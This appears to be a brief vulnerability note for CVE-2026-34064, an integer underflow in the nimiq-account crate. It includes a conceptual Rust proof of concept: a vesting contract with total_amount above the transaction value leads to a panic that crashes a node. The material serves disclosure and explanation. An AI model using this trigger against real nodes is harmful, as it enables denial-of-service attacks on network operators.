CVE-2026-34064 Nimiq-account 下溢致节点崩溃漏洞

// Conceptual PoC for CVE-2026-34064 // This demonstrates the logic flaw leading to the panic. // 1. Setup environment with vulnerable nimiq-account version < 1.3.0 // 2. Attacker creates a malicious vesting contract // The vulnerability allows setting total_amount > transaction.value // Example: transaction.value = 100, total_amount = 1000 let malicious_data = VestingContractCreationData { total_amount: 1000, // Exploit: Bypass validation start_time: 0, step_amount: 0, step_blocks: 0, // ... other fields }; // 3. Contract is created with min_cap derived from total_amount // min_cap becomes high (e.g., 1000) while actual balance is low (e.g., 100) let contract = VestingContract::create(malicious_data, /*tx_value*/ 100); // 4. Trigger the panic // Attacker broadcasts a transaction that calls can_change_balance // with a new_balance that is < min_cap let new_balance = 50; // 50 < 1000 (min_cap) // Inside can_change_balance: // if new_balance < min_cap { return Err(AccountError::InsufficientFunds { balance: self.balance - min_cap }) } // Calculation: 100 - 1000 -> Underflow -> Panic! contract.can_change_balance(new_balance); // Result: Node crashes.